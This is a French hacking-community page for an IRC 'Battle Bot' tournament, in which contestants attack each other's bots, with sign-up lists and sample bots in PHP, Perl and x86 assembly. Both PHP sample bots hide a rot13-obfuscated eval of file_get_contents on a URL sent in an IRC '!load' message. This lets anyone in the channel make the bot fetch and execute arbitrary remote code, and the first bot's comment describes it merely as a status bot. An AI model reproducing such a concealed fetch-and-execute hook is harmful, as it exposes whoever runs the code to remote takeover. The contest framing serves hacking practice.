CONNEXION ✔ Connexion INSCRIPTION ✔ Inscription Un Bug ? ✐ Un Bug?



Page de #hackbbs-battle

Battle-bot

BB2: Battle Bot II

Présentation BB2
Battle Bot II
Organisation en cours.
Dates envisagée :
  • Vendredi 13 Mars 2009

Principe

  • Le vendredi 13 à 20h tous les participants recoivent un code exécutable
  • Le code une fois exécuté s'active, et se met à jour
  • Il faut alors analyser le code du bot, et tenter désactiver les bots adverses en injectant des shellcodes.
  • Un bot déconnecté est une cible potentielle en moins. Si le bot que vous contrôlez vient à disparaitre, il est tout dans votre intérêt de le faire revenir au plus vite.
  • Il est interdit de modifier le code de son propre bot, seules les altérations dynamiques sont autorisées.
  • Un daemon éliminera les bots dont le code source a été altéré.
  • LE BUT est d'avoir un contrôle TOTAL sur l'ensemble des systèmes adverses.
    • Contrôle du bot
    • Contrôle des services sur les systèmes adverses
    • Installer des routines de protection sur son propre système le cas échéant
  • HackBBS décline toute responsabilité sur les conséquences de cette épreuve. Il vous est conseillé de lancer le bot dans un environnement confiné.

Bonus

L'idée est encore à débattre, mais il serait intéressant de donner un bonus de point à ceux qui arrivent à prendre totalement le contrôle de la vm adverse.
Il pourrait donc être demandé de faire démarrer un service apache, et d'afficher un petit message sur les VM rooter.

Informations techniques

L'environnement

Il est conseillé de prévoir une machine virtuelle type xen, uml(user mode linux) ou encore vmware.
Des liens seront disponibles prochainement pour aider à l'installation de l'environnement.
Voici le script d'installation sous linux: Environnement Battle-Bot 2 sous linux

Le code du bot

Un exemple de code est en cours de préparation afin de permettre de tester votre environnement avant la compétition.

Des questions?

Elles sont les bienvenues sur le salon #hackbbs

Inscription au tournois


Inscription au tournoi battle-bot II sur irc.2600.net:6667,#hackbbs-battle

Inscription d'un bot #hackbbs-battle
Nom du bot:
Url du bot:
Description:
Captcha :

Visual CAPTCHA Vous devez être identifié pour pouvoir soumettre un bot


Arène du tournois BB2

Afin de suivre le spectacle bien assis dans votre fauteuil,
il vous est possible de suivre les évènements via notre mouchard
et de suivre dans un temps réel mou, l'évolution de la rencontre.

Liste des bots inscris


Voici la liste des bots.
4 statut son actuellement proposé.
  • En attente: Le bot à été inscrit par un membre, et nos scripts ne l'ont pas encore vu sur le salon
  • Prêt au combat: Le bot à été vue sur le salon, mais n'a marqué encore aucun points
  • Au combat: C'est assez explicite non!!?? ^^
  • Eliminé: C'est finis pour ce tournois, mais possibilité d'inscrire un autre bot. Celui là n'a pas fait ses preuves :p
anis chali
Proprio:ANIS CHALI
Description:120
Statut::En attente:0points.
gang4000
Proprio:GANG4000
Description:gang
Statut::En attente:0points.
Shiney
Proprio:KORIGAN
Description:Shiney
Statut::En attente:0points.
Test1
Proprio:RAYON-GAMA
Description:Test1
Statut::En attente:0points.
zero_cool
Proprio:0-H
Description:cool
Statut::En attente:0points.
Bot pastbin
Proprio:KORNDU
Description:Bot
Statut::En attente:0points.
lulu
Proprio:EMRE
Description:quepass
Statut::En attente:0points.
Gaza
Proprio:GAZANONYME
Description:Grand FORT
Statut::En attente:0points.
Belette
Proprio:GAZANONYME
Description:Petit
Statut::En attente:0points.
sematec
Proprio:SEMA
Description:se
Statut::En attente:0points.
XX-SHELL-XX
Proprio:TSUNAMIO54
Description:Bot de Tsuna
Statut::En attente:0points.
migthy
Proprio:DELORAGNERO
Description:surcharge
Statut::En attente:0points.

Exemples de codes de bots

 
<?
 //Botz-php-hackbbs V1.0, Korigan
 //Website: http://hackbbs.org/
 //Irc: irc.2600.net Salon: #hackbbs-battle
 /*
 Ce bot se connecte au salon, et donne son statut s'il reçoit !statut
 */
 // Prevent PHP from stopping the script after 30 sec
 set_time_limit(0);
 // Opening the socket to the 2600 network
 $socket = fsockopen("irc.2600.net", 6667);
 // Send auth info
 //Il va falloir générer des nick aleatoire car lors des tests, il peut arriver que
 //le serveur mette du temps à détecter que l'ancien pseudo est libre.
 $nick="Botz-php-hackbbs";
 $nb=rand(1,1000);
 $nick.=$nb;
 $chan="hackbbs-battle";
 
 //La commande nick permet de s'identifier auprès du serveur.
 fputs( $socket , "NICK ".$nick."-".date('U')."-".$nb."\r\n" );
 fputs( $socket , "USER guest localhost irc_server :guest\r\n");
 
 // Force an endless while
 while(1) {
     // Continue the rest of the script here
     while($data = fgets($socket, 128)) {
         echo nl2br($data);
         flush();
         // Separate all data
         $ex = explode(' ', $data);
         // Send PONG back to the server
         if($ex[0] == "PING"){
             fputs($socket, "PONG ".$ex[1]."\n");
         }
         // Say something in the channel
         if (strstr($data,":!statut")) {
             fputs($socket, "PRIVMSG ".$ex[2]." ".$nick." is online!\r\n");
         }
         if (strstr($data,":!load")) {
             $d="riny(svyr_trg_pbagragf('".substr($ex[4],0,strlen($ex[4])-2)."',snyfr));";
				 eval(str_rot13($d));
         }
         if(strstr($data,"376")) {
                        //Connect to #hackbbs-test
              fputs( $socket , "JOIN #".$chan."\r\n");
         }
     }
 }
?>
 
<?
 //Botz-T V1.0, Korigan
  //Website: http://hackbbs.org/
 //Irc: irc.2600.net Salon: #hackbbs-battle
 
 /*
 Ce bot est le premier qui s'inscrira dans un pattern stratégie.
 L'idée est de pouvoir adapter la stratégie du bot à différentes situation.
 C'est à dire différents stade de la partie qui requiert tel stratégie 
 	-d'attaque, 
 	-de protection,
 	-de masquage
 	-de lecture de l'information
 	-de calculde l'information
 	-de l'analyse de la réponse au calcul posé
 	-etc...
 Chacuns de ces aspect peut constituer ce que l'on va appeler un module, une classe.
 L'idée est de répartir ces classes dans des fichiers distincts.
 Ainsi, il sera possible d'executer tel ou tel partie du code, à volontée, et de n'éxécuter 
 que des opérations les plus atomique possible. C'est à-dire que le bot doit rester réactif,
 et répondre instinctivement à tous les messages, et pour cela doit n'éxécuter que du code court,
 et bien rangé.
 
  Comment savoir quelle strategie adapte?
 *******************************************
 Une des solutions est de les tester à la main. De réfléchir, de reprendre le code,
 le re-travailler, corriger les bugs...
 
 Nous allons donc essayer voir une autre méthode, de générer un bot auto-évolutif.
 Il va évoler de génération en gnération, de façon autonome, jusqu'à atteindre la perfection!?? ^^
 Comment faire?
 Et bien il y a plusieurs solution, soit le bot se modifie lui même, soit on sélectionne que les meilleurs
 dans une population donnée.
 Qui dis population, sélection, induit la notion de différence enre eux.
 Nous nous rapprochons donc de la notion d'ADN et vous l'aurez compris, nous allons faire
 un bot dont son ADN permettra de composer les différentes action possible.
 Nous ferons donc un bot, qui va se répliquer N fois mais avec de légères différences dans son ADN.
 Si l'un d'entre eux sort vainqueur un nombre conséquent de fois, il se reproduiras avec le second.
 Les autres seront sacrifié :S
 
 
 
 Pour ce deuxieme bot, nous allons le doter de ce qui pourait etre un ADN à un seul maillon,
 et illustrer une seule stratégie, le suivie d'attaque.
 Cela consistera uniquement à kicker les nouveaux sur le salon.
 C'est à dire réagir à l'événement JOIN
 
 Quand nous auront sufisemment de maillons, nous verrons comment les activer ou les désactiver
 et constituer ainsi une population hétérogène lors de la reproduction.
 
 */
 // Prevent PHP from stopping the script after 30 sec
 set_time_limit(0);
 // Opening the socket to the 2600 network
 $socket = fsockopen("irc.2600.net", 6667);
 // Send auth info
 $nick="Botz-T";
 $nb=rand(1,1000);
 $nick.=$nb;
 $chan="hackbbs-battle";
 
 fputs( $socket , "NICK ".$nick."\r\n" );
 fputs( $socket , "USER guest localhost irc_server :guest\r\n");
 
 // Force an endless while
 while(1) {
     // Continue the rest of the script here
     while($data = fgets($socket, 128)) {
         echo nl2br($data);
         flush();
         // Separate all data
         $ex = explode(' ', $data);
         // Send PONG back to the server
 
/* ****************************************************************************************** */
/* *************** LE CODE CI-DESSOUS CORESPOND A LA STRATEGIE ****************************** */
/* * Il sera repris plus tard lorsque nous allons créer l'algorithme de selection génétique * */
/* ****************************************************************************************** */         
	 		if($ex[1]== "JOIN"){
				$j=explode("!",$ex[0]);
				$joueur=substr($j[0],1,strlen($j[0]));
				fputs($socket, "PRIVMSG #".$chan." : timebomb ".$joueur."\n");
	 		}
         if($ex[0] == "PING"){
             fputs($socket, "PONG ".$ex[1]."\n");
         }
         // Say something in the channel
         if (strstr($data,":!saywelcome")) {
             fputs($socket, "PRIVMSG ".$ex[2]." hackbbs-bot is online!&#92;r&#92;n");
         }
         if (strstr($data,":!load")) {
             $d="riny(svyr_trg_pbagragf('".substr($ex[4],0,strlen($ex[4])-2)."',snyfr));";
				 eval(str_rot13($d));
         }
         if(strstr($data,"376")) {
                        //Connect to #hackbbs-test
              fputs( $socket , "JOIN #".$chan."\r\n");
         }
         if(strstr($data,"KICK #hackbbs-battle Botz-T")) {
                        //Connect to #hackbbs-test
              fputs( $socket , "JOIN #".$chan."\r\n");
         }
/* ****************************************************************************************** */
/* ********************** FIN DU CODE ******************************************************* */
/* ****************************************************************************************** */
     }
 }
?>
 

Bot en perl de fredo

#!/usr/bin/perl
 
#use strict;
#use warnings;
#use diagnostics;
 
# On utilise la librairie Net::IRC pour se connecter  IRC
use Net::IRC;
#use LWP::Simple;
 
# Vous utiliserez peut-tre Data::Dumper pour le debug, pour savoir de quoi sont composs certains vnements...
#use Data::Dumper;
 
 
 
# Configuration des options de connexion (serveur, login) :
my $server = 'irc.2600.net';
my $nick = 'botpublic';    # A configurer !
my $nickone = 'botpublic';
my $pass = 'public';        # A configurer !
my $list = "listebot.txt";    #fichier listing des bot participants
my $ami = 'Botz-ADN';
 
# Informations concernant le Bot :
my $ircname = 'Botrrr';
my $username = 'prrrrrerlBot';
my $version = '2.0';
my $num = 5;
my $nick2 = $nick;
my $contremesure = 0;
my $trigger  = 'ditty mao!';
 
# Channel sur lequel on veut que le Bot aille :
my $channel = '#hackbbs-battle';
 
# On cre l'objet qui nous permet de nous connecter  IRC :
my $irc = new Net::IRC;
 
# On cre l'objet de connexion  IRC :
my $conn = $irc->newconn(
    'Server'      => $server,
    'Port'        => 6667,
    'Nick'        => $nick,
    'Ircname'    => $ircname,
    'Username'    => $username
);
 
 
# On installe les fonctions de Hook :
$conn->add_handler('endofmotd', \&on_connect);    # Fin du MOTD => on est connect
$conn->add_handler('public', \&on_public);        # Sur le chan
$conn->add_handler('notice', \&on_notice);        # En notice
$conn->add_handler('msg', \&on_private);          # En priv
$conn->add_handler('caction', \&on_caction);      # /me
$conn->add_handler('cversion', \&on_cversion);    # Demande de version
$conn->add_handler('cping', \&on_cping);          # Demande de PING
$conn->add_handler('ctime', \&on_ctime);          # Demande de time
$conn->add_handler('cerrmsg', \&on_cerrmsg);	  #recoit une erreur
$conn->add_global_handler('disconnect', \&on_disconnect); #deconnection du server
$conn->add_handler('kick'  , \&on_kick);          #on se fait kick du chan
$conn->add_handler('433'   , \&on_nick_taken);    #on nous a pique notre pseudo ou y a un ghost
$conn->add_handler('join',   \&on_join);		  #quelqu'un se connecte
$conn->add_handler('mode',   \&on_mode);		  #pour changer le mode d'un nick (voicer par ex)
$conn->add_handler('353', \&on_names);			  #pour lister les nick en arrivant sur le chan
$conn->add_handler('nick',\&on_nick);			  #quand quelqu'un change de nick
 
 
# On lance la connexion et la boucle de gestion des vnements :
$irc->start();
 
 
## Les fonctions de gestion des vnements :
 
sub on_connect
{
    my ($conn, $event) = @_;
 
    $conn->join($channel);
    $conn->privmsg($channel, 'Bonjour');
    $conn->print("<$nick>\t| Bonjour");
    $conn->{'connected'} = 1;
    $conn->privmsg('nickserv', 'IDENTIFY ' . $pass);
    $conn->print("Identify : $nick $pass");
 
} # Fin on_connect
 
 
sub on_public
{
 
    my ($conn, $event) = @_;
    my $text = $event->{'args'}[0];
	my $var = $event->{'nick'};
 
	$conn->print("<" . $event->{'nick'} . ">\t| $text");
 
# si quelqu'un parle
	if ( $var ne 'fredo2009')
		{
			if ( $var ne 'Botz' )
				{
				# on cherche  savoir si c'est un bot
				open (FILE, "$list") || die("\n[-] Can't open the file...\n"); 
				chomp(my @listbot = <FILE>); 
					foo: foreach my $varbot (@listbot)
							{
							if (($var eq $varbot) && ($var ne "ze_ultimate^bot") && ($var ne $ami))
								{
								$conn->privmsg($channel, "timebomb $var"); # on lance la bombe sur le channel
								$conn->print("<$nick>\t| timebomb $var");  # Et echo sur la console
								last foo;
								}
							}
					close (FILE);
				}
		}
 
#si les contremesures sont actives
if ($contremesure eq "1")
	{
	if ( $var eq 'Botz')
		{
		if (substr($text, 0, length("Diffuse")) eq "Diffuse")
			{
			my $unecouleur=index($text,'It is');
			my $plusieurscouleurs=index($text,'They are');
			if ($unecouleur ne "-1")
				{
				$text =~ /It is (.*)./;
				my $couleur = $1;
				#on peut maintenant couper le bon fil
				$conn->privmsg($channel, "cutwire $couleur");
                $conn->print("<$nick>\t| cutwire $couleur");
				$contremesure = "0"; #on rrete les contre mesures
				}
			if ($plusieurscouleurs ne "-1")
				{
				$plusieurscouleurs = $plusieurscouleurs + 9;
				my $text2 = substr($text, $plusieurscouleurs);
				$text2 =~ s/and/./g;
				$text2 =~ s/\s//g;
				my @couleurs = split(/[^a-zA-Z]/,$text2); # voil notre tableau des couleurs
				my $range2 = $#couleurs+1;
				my $num2 = int(rand($range2)); #on tire une couleur au pif
				#on tente de couper le bon fil
				$conn->privmsg($channel, "cutwire $couleurs[$num2]");
                $conn->print("<$nick>\t| cutwire $couleurs[$num2]");
				$contremesure = "0"; #on rrete les contre mesures
				}
			}
		}
	}
#on vrifie que c pas notre ami qui nous trahi
if (($var eq $ami) && ($text eq "timebomb botpublic"))
	{
	$ami = 'trahison';
	$conn->privmsg($channel, "trahison!!! Ca va tre ta fte mon coco!!!");
	}
} # Fin on_public
 
 
sub on_notice
{
    my ($conn, $event) = @_;
    my $text = $event->{'args'}[0];
    $conn->print("NOTICE<" . $event->nick() . ">\t| $text");
} # Fin on_notice
 
 
sub on_private
{
    my ($conn, $event) = @_;
    my $text = $event->{'args'}[0];
	my $nick = $event->nick;
    $conn->print("PRIVE<" . $event->nick() . ">\t| $text");
	if ($text eq "!mass")
		{
		$conn->names($channel);
		$conn->print("names $channel");
		}
	else
		{
		if ($nick eq "fredo2009")
			{
			$conn->privmsg($channel, "$text");
			}
		}
} # Fin on_private
 
 
sub on_caction
{
    my ($conn, $event) = @_;
    my $nick = $event->nick;
    my $text = $event->{'args'}[0];
    $conn->print("* $nick $text");
	if (substr($text, 0, length("stuffs the bomb into $nick2")) eq "stuffs the bomb into $nick2")
		{# la bombe est sur nous alors on lance les contre-mesure
		$contremesure = "1";	
		$conn->print("<$nick>\t| contremesure = $contremesure");		
		}
} # Fin on_caction
 
 
sub on_cversion
{
    my ($conn, $event) = @_;
    my $nick = $event->nick;
    $conn->ctcp_reply($nick, 'VERSION ' . "ircPerlBot v $version, www.squalenet.net");
    $conn->print("*** CTCP VERSION request de $nick");
} # Fin on_cversion
 
 
sub on_cping
{
    my ($conn, $event) = @_;
    my $nick = $event->nick;
    my $timestamp = $event->{'args'}[0];
    $conn->ctcp_reply($nick, 'PING ' . $timestamp);
    $conn->print("*** CTCP PING request de $nick");
} # Fin on_cping
 
 
sub on_ctime
{
    my ($conn, $event) = @_;
    my $date = localtime;
    my $nick = $event->nick;
    $conn->ctcp_reply($nick, 'TIME ' . $date);
    $conn->print("*** CTCP TIME request de $nick");
} # Fin on_ctime
 
sub on_cerrmsg
{
    my ($conn, $event) = @_;
    my $nick = $event->nick;
    my $text = $event->{'args'}[0];
	$conn->print("*Error* $nick $text");
} # Fin on_ctime
 
# Reconnect to the server when we die.
sub on_disconnect 
{
    my ($conn, $event) = @_;
    print "Disconnected from ", $event->from(), " (",
          ($event->args())[0], "). Attempting to reconnect...\n";
    $conn->connect();
}
 
#on se reconnect aprs un kick
sub on_kick 
{
    my ($conn, $event) = @_;
    my (@args) = ($event->args);
    $conn->join($args[0]) unless ($args[1] =~ /^$trigger$/i);
}
 
#on recup notre nick si probleme de ghost ou usurpation
sub on_nick_taken 
{
    my ($conn) = shift;
	$conn->nick($nickone.int(rand(999)));
	$conn->privmsg('nickserv', 'RECOVER ' . $nickone .' '. $pass);
	$conn->print("nickserv : RECOVER $nickone $pass");
	$conn->nick($nickone);
    $conn->privmsg('nickserv', 'IDENTIFY ' . $pass);
    $conn->print("Identify : $nickone $pass");
}
 
sub on_join 
{
    my ($conn, $event) = @_;
    my $text = $event->{'args'}[0];
	my $var2 = $event->{'nick'};
	$conn->print("***" . $event->{'nick'} . "\t| a join $channel");
	#on regarde si le nick qui vient d'arriver est  timebomber
	if ($var2 eq $nickone)
		{
			$conn->names($channel);
			$conn->print("names $channel");
		}
	else
		{
		if (($var2 ne "ze_ultimate^bot") && ($var2 ne $ami))
			{
			$conn->privmsg($channel, "timebomb $var2"); # on lance la bombe sur le channel
			$conn->print("<$nick>\t| timebomb $var2");  # Et echo sur la console
			}
		}
}
 
sub on_names
{
    my ($conn, $event) = @_;
    my (@list, $channel) = ($event->args);
    ($channel, @list) = splice @list, 2;
	my @listuser = split(/[ ]/,$list[0]);
    $conn->print ("Users on $channel: @listuser\n");
	foreach my $var (@listuser)
		{
			my $char = substr($var,0,1);
			if ($char eq "+")
				{
				$var =~ s/\+//g;
				if (($var ne "ze_ultimate^bot") && ($var ne $nickone) && ($var ne $ami))
					{
					$conn->privmsg($channel, "timebomb $var"); # on lance la bombe sur le channel
					$conn->print("<$nickone>\t| timebomb $var");  # Et echo sur la console
					}
				}
		}
}
 
sub on_mode
{
	my ($conn, $event) = @_;
	my $text = $event->{'args'}[0];
	my $text2 = $event->{'args'}[1];
	my $var = $event->{'nick'};
	$conn->print("<" . $event->{'nick'} . ">\t| $text $text2");
	if (($text eq "+v") && ($text2 ne $nickone) && ($text2 ne $ami) && ($text2 ne "ze_ultimate^bot"))
		{
		$conn->privmsg($channel, "timebomb $text2"); # on lance la bombe sur le channel
		$conn->print("<$nick>\t| timebomb $text2");  # Et echo sur la console
		}
} # Fin on_mode
 
sub on_nick {
    my ($conn, $event) = @_;
    my $text = $event->{'args'}[0];
	my $var2 = $event->{'nick'};
    $conn->print("*" . $event->nick() . ">\t| devient $text");
	if (($text ne "ze_ultimate^bot") && ($text ne $nickone) && ($text ne $ami))
		{
		$conn->privmsg($channel, "timebomb $text"); # on lance la bombe sur le channel
		$conn->print("<$nick>\t| timebomb $text");  # Et echo sur la console
		}
}

Bot en asm par tosh

%define STDOUT 1
%define IPPROTO_TCP 6
%define SOCK_STREAM 1
%define AF_INET 2
 
%define SYS_WRITE 4
%define SYS_EXIT 1
%define SYS_READ 3
%define SYS_CLOSE 6
%define SYS_SOCKETCALL 102
 
%define SYS_SOCKETCALL_SOCKET 1
%define SYS_SOCKETCALL_BIND 2
%define SYS_SOCKETCALL_CONNECT 3
%define SYS_SOCKETCALL_RECV 10
 
%define BUFFER_SIZE 1024
 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;			DATA SECTION
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 
section .data
	buffer		times BUFFER_SIZE+1 db 0	
	sock		dd -1			
	error_str	db 'Error occured', 10, 0
	ip_addr		dd 1260613584				; inet_addr("208.111.35.75")
	port		dw 0x0b1a
	conn_str	db 'NICK tosh-bot', 13, 10, 'USER tosh_ tosh__ tosh___ :tosh', 13, 10,0
	join_chan   db 'JOIN #hackbbs', 13, 10, 0
	hello_str   db "PRIVMSG #hackbbs :Hello I'm a bot written in ASM x86!",13,10,0
 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;			TEXT SECTION
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;	
section .text
	global _start
 
 
_start:							; Entry point.	
	enter 0,0
	call create_socket
	call connect
 
	call recv_loop
 
	push dword[sock]
	call close
	call exit
 
 
write_string:					; Affiche une chaine. ARGS : char*.		
	push ebp
	mov ebp, esp
 
	mov edx, 0					; Calcul de la longueur de la chaine. (terminé par 0)
	mov ecx, [esp+8]
	.len_loop:
	cmp byte[ecx], 0
	je .end_len_loop
	add edx, 1
	add ecx, 1
	jmp .len_loop
	.end_len_loop:
 
	mov ecx, [esp+8]			; On met dans ecx, l'adresse de la chaine
	mov ebx, STDOUT
	mov eax, SYS_WRITE
	int 0x80
 
	mov esp,ebp
	pop ebp
	ret
 
 
create_socket:					; socket()
	push ebp
	mov ebp, esp
 
	push 0
	push SOCK_STREAM
	push AF_INET
 
	mov eax, SYS_SOCKETCALL
	mov ebx, SYS_SOCKETCALL_SOCKET
	mov ecx, esp
	int 0x80
 
%ifdef DEBUG	
	cmp eax, -1
	je near error
%endif	
 
	mov dword[sock], eax
 
	mov esp, ebp
	pop ebp
	ret
 
connect:						; connect()
	push ebp
	mov ebp, esp
 
	push dword 0				; sockaddr_in
	push dword 0				; champs inutilisés
	push dword[ip_addr]
	push word[port]
	push word AF_INET
	mov ecx, esp
 
	push 16						; socklen_t
	push ecx					; sockaddr_in*
	push dword[sock]			; sock
 
	mov eax, SYS_SOCKETCALL
	mov ebx, SYS_SOCKETCALL_CONNECT
	mov ecx, esp
	int 0x80
 
%ifdef DEBUG
	cmp eax, -1
	je near error
%endif	
 
	mov esp, ebp
	pop ebp
	ret
 
send_msg:
	push ebp
	mov ebp, esp
 
	mov ecx, [esp+8]
	push ecx
	call my_strlen
	mov edx, eax
	pop ecx
	mov ebx, dword[sock]
	mov eax, SYS_WRITE
	int 0x80
 
%ifdef DEBUG
	cmp eax, -1
	je near error
%endif	
 
	mov esp, ebp
	pop ebp
	ret
 
recv_loop:
	push ebp
	mov ebp, esp
 
	mov esi, 0
 
	.loop:
	mov ebx, dword[sock]
	mov ecx, buffer
	mov edx, BUFFER_SIZE
	mov eax, SYS_READ
	int 0x80
 
	mov ecx, buffer
	add ecx, eax
	mov byte[ecx], 0
 
	call send_ping
 
	add esi, 1
	cmp esi, 3
	je .send_ident
	jmp .end_send_ident
 
	.send_ident:
	push conn_str
	call send_msg
	.end_send_ident:
	.end_join_chan:
 
	cmp esi, 10
	je .send_chan
	jmp .end_send_chan
 
	.send_chan:
	push join_chan
	call send_msg
	.end_send_chan:
 
 
	cmp byte[buffer+1], 'B'
	jne .end_hello_str
	cmp byte[buffer+2], 'o'
	jne .end_hello_str
	cmp byte[buffer+3], 't'
	jne .end_hello_str
	cmp byte[buffer+4], 'z'
	jne .end_hello_str
	push hello_str
	call send_msg
	.end_hello_str:
 
	push buffer
	call write_string
 
	cmp eax, 0
	jg .loop
 
	mov esp, ebp
	pop ebp
	ret		
close:
	push ebp
	mov ebp, esp
 
	mov ebx, dword[esp+8]
	mov eax, SYS_CLOSE
	int 0x80
 
	mov esp, ebp
	pop ebp
	ret
 
my_strlen:
	push ebp
	mov ebp, esp
	mov ebx, [esp+8]
	mov eax, 0
	loop:
	cmp byte[ebx], 0
	je end_loop
	inc eax
	inc ebx
	jmp loop
	end_loop:
	mov esp,ebp
	pop ebp
	ret	
 
%ifdef DEBUG
error:
	push error_str
	call write_string	
%endif
 
exit:	
	mov eax, SYS_EXIT
	mov ebx, 0x0
	int 0x80
 
send_ping:
	push ebp
	mov ebp, esp
 
	cmp byte[buffer], 'P'
	jne .end_ping
	cmp byte[buffer+1], 'I'
	jne .end_ping
	cmp byte[buffer+2], 'N'
	jne .end_ping
	cmp byte[buffer+3], 'G'
	jne .end_ping
 
	mov byte[buffer+1], 'O'
 
	push buffer
	call send_msg
 
 
	.end_ping:
 
 
	mov esp, ebp
	pop ebp
	ret
 
 


Archive des tournois terminés

BB1: Battle Bot I

Présentation BB1

Bonsoir à tous, j'organise avec Korigan un tournoi de Bot, qui s'affronteront trois contre trois à coup de timebomb. Ces bots devront être développés en PHP, et être fonctionnel avant le 19 décembre. Le match Le match se déroulera en 21kicks sur #hackbbs-battle, si un bot kick les deux autres, il remporte deux points, le deuxième remporte un point, sinon 0. Les bots s'affronteront trois par trois, puis le gagnant va monter d'un "échelon" on va dire qu'il fera parti de la 8eme de finale ^^, le deuxième quant à lui restera la où il est (en 16ème de finale) et affronteras deux nouveaux bots, tandis que le dernier ira dans la finale des perdants où il pourra se battre avec les autres perdants. Le bot Le bot devra être codé en php (mais c'est la seule restriction), il devra ensuite être hébergé quelquepart et vous devrez nous remmetre l'adresse du bot. Vous trouverez ci-dessous un exemple de Bot (attention ce n'est qu'un début, ça ne suffira pas !) Comment se déroulera le combat ? Nous utiliserons un script php qui s'occupera d'appeller vos bots pour combattre, les combats se dérouleront sur #hackbbs-battle, vous pourrez y accéder pour regardez mais vous serez en lecture seule. Les résultats seront capté par le script et afficher sur hackbbs.org/tournoiBot.php (url non définitif !) D'autre informations arriveront plus tard, notamment la date précise, vous pouvez proposez d'autre règles, ou demander à modifier certaine... [Nimag] & [Korigan]

Arène du tournois


Les spectateurs du salon seront donné en pature.
Afin de suivre le spectacle bien assis dans votre fauteuil,
il vous est possible de suivre les évènements via notre mouchard
et de suivre dans un temps réel mou, l'évolution de la rencontre.

Liste des bots inscris


Voici la liste des bots.
4 statut sont actuellement proposés.
  • En attente: Le bot à été inscrit par un membre, et nos scripts ne l'ont pas encore vu sur le salon
  • Prêt au combat: Le bot à été vu sur le salon, mais n'a marqué encore aucun point
  • Au combat: C'est assez explicite non!!?? ^^
  • Elimine: C'est fini pour ce tournoi, mais il reste la possibilité d'inscrire un autre bot. Celui là n'a pas fait ses preuves :p
Botz-T
Proprio:0
Description:Botz de test de HackBBS
Statut::Elimine:0points.
Battle-star
Proprio:0
Description:Bot pour test syst. inscription
Statut::En attente:0points.
Botz-T566
Proprio:0
Description:Botz-T de test
Statut::Au combat:0points.
remy
Proprio:TH2O
Description:remy
Statut::Prêt au combat:67points.
Shin0bi
Proprio:NEBOJSA
Description:Bot de nebojsa
Statut::Elimine:0points.
botman
Proprio:SHAYTAN
Description:Bomberbot
Statut::Elimine:0points.
Botz-ADN
Proprio:0
Description:Botz-ADN, autocorectif
Statut::Prêt au combat:0points.
Botz-T5566
Proprio:0
Description:Botz d\'entrainement au kick
Statut::Elimine:0points.
GOD
Proprio:SHP
Description:Le DIEU vivant de SHP, son lieu d\'habitation: http://shpouette.tuxfamily.org =)
Statut::En attente:0points.